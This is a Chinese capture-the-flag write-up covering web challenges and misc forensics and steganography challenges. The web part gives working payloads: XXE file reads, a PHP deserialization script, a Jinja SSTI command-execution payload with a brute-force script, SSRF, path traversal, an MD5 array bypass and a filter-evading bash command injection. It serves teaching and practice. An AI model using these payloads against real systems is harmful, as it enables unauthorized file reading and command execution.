WEB

exx

无过滤 xml 注入

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>

SAS - Serializing Authentication

入门级反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class User {

public $username;

public $password;

function __construct($username, $password) {

$this->username = $username;

$this->password = $password;

}

function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

?>

直接赋值账号密码即可通过检查,题目会对其 base64 解码,所以传入 base64 加密后的代码

exp:

1
2
3
4
5
6
7
8
9
10
11
<?php
class User {
public $username;
public $password;
}
$a=new User();
$a->username="admin";
$a->password="secure_password";
echo base64_encode(serialize($a));
?>
# O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"secure_password";}

一个…池子?

尝试输入49回显了 49,证明存在 ssti 注入

{{''.__class__.__base__.subclasses__()}}可以查询所有子类结果,这里用脚本爆破想要的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#post请求
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36'
}

for i in range(501):
url = "xxx"
postPara = {"input":"{{\"\".__class__.__base__.__subclasses__()["+str(i)+"]}}"}
print(i)
res = requests.post(url=url,headers=headers,data=postPara)
if 'os._wrap_close' in res.text: #查找其他命令时就用其他子类
print("be founded in:"+str(i))
break
else:
print("not found")
# 得到编号为137

无过滤,直接拿 flag 即可

Payload:

{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}

浏览器也能套娃?

ssrf,伪协议读取 flag

file:///flag

高亮主题(划掉)背景查看器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

// 文件包含漏洞演示

if (isset($_GET['url'])) {

// 读取并包含用户输入的文件

$file = $_GET['url'];

if (strpos($file, '..') === false) {

include $file;

} else {

echo "Access denied.";

}

} else {

echo "No file specified.";

}

?>

无过滤文件包含,路径穿越直接读取

payload:

post:theme=../../../../../../flag

百万美元的诱惑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}

abc 都可以采用数组绕过,payload:?a[]=1&b[]=2&c[]=3

拿到并访问 dollar.php,发现需要绕过过滤构造出 12

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>

在 linux 的终端中,输入$(())可以构造出0,再进行取反$((~$(())))就可以构造出-1,其原理是对其二进制取反,00000000->0 取反则变成 11111111->-1

我们再将两个-1 合在一起并取反则是 ~(-2)->1

即$((~$(($((~$(())))$((~$(())))))))

由此我们可以构造出任意的数字,这里的 12 可以是对-13 取反为 12,

也可以是-2 取反和-3 取反之后合并为 12,这里我使用后者

预期 payload:

1
?x=$((~$(($(($((~$(())))$((~$(())))))))))$((~$(($((~$(())))$(($((~$(())))$((~$(())))))))))

题目描述已经把预期 payload 字符全给了,其他姿势就请自行搜索了 0.0

姬宝的好东西->https://github.com/ProbiusOfficial/bashFuck

MISC

涐贪恋和伱、甾―⑺dé 毎兮毎秒

lsb 隐写最低位

你说的对,但__

拿到附件 binwalk 分离出多张图片

拼好扫描得到 flag

The love

拿到一个图片和一个音频文件

图片 binwalk 分离出压缩包,文件名处得到 hint:Litctf???ftclit

6 位纯数字密码爆破,带上头尾即可

解压压缩包拿到假 flag 和一个 base64 加密的 password

deepsound 解密得到真 flag

舔到最后应有尽有

base64 隐写,羊驼梭

女装照流量

tcp.stream eq 28 拿到 flag.php 的加密压缩包

随后在 tcp.stream eq 26 处找到密码

最后两行删掉"参数名,&,="后 base64 解密

解压后得到 flag

Every Where We Go

flag 直接放在了频谱图里,使用 Adobe 的 AU 或者 audacity 等查看频谱图即可

盯帧珍珠

古有盯裆猫咪,今有盯帧珍珠

题目名及描述提示表明是 gif 图片并且要注意观察每一帧

也可以通过文件大小,文件头,file 命令等知道是 GIF 图片

先改后缀名为 GIF,后发现动画中有几帧的 flag 片段

使用 stegsolve,在线网站或脚本等逐帧提取对应 flag 片段图片,拼好 flag 即可

原铁,启动!

题目描述:这都是什么通用文字呢?

题目名称得到信息: 原神崩铁

题目描述得到信息:通用字体

搜索引擎开搜即可

https://draugus.github.io/genshin/language

提瓦特通用字体

https://starrail.huijiwiki.com/wiki/%E6%96%87%E5%AD%97%E5%AF%B9%E7%85%A7%E8%A1%A8

崩铁宇宙通用文

关键,太关键了

题目描述:好像某些字符出现的频率很高哦

题目名称得到信息: 关键字加密

题目描述得到信息:字频统计

对 key.txt 的大量字符串进行字频统计得到 key:bingo

关键字解密 flag.txt 即可得到 flag